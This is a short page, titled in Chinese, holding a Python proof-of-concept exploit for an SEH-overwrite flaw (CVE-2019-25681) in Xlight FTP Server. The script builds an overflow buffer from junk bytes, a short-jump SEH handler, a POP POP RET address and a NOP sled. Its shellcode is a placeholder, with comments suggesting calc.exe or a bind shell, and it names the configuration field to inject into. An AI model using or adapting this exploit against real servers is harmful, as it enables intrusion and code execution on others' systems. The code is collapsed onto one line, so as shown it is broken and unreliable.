CVE-2019-25681 Xlight FTP Server SEH覆盖漏洞

#!/usr/bin/python # PoC for CVE-2019-25681 Xlight FTP Server SEH Overwrite # This script generates a malicious buffer to trigger the vulnerability import sys def create_payload(): # Total payload size around 428 bytes mentioned in description # Structure: Junk + SEH Handler + SEH Address + Shellcode # Offset to overwrite the SEH handler (needs adjustment based on exact version/debug) offset = 424 # SEH overwrite sequence # "\xeb\x06\x90\x90" is a short jump (6 bytes) + NOPs seh_handler = "\xeb\x06\x90\x90" # Address of POP POP RET instruction (Universal or specific address needed) # This is a placeholder address seh_address = "\xaf\x11\x50\x62" # NOP sled for stability nop_sled = "\x90" * 20 # Simple shellcode (e.g., calc.exe or bind shell) # Placeholder: 0xCC (INT3) to crash if executed shellcode = "\xCC" * 50 payload = "A" * offset + seh_handler + seh_address + nop_sled + shellcode return payload if __name__ == "__main__": buf = create_payload() print("[+] Generated malicious payload for CVE-2019-25681") print(f"[+] Payload length: {len(buf)} bytes") print("[+] Usage: Inject this string into the 'Program Execution' field in Virtual Server Configuration")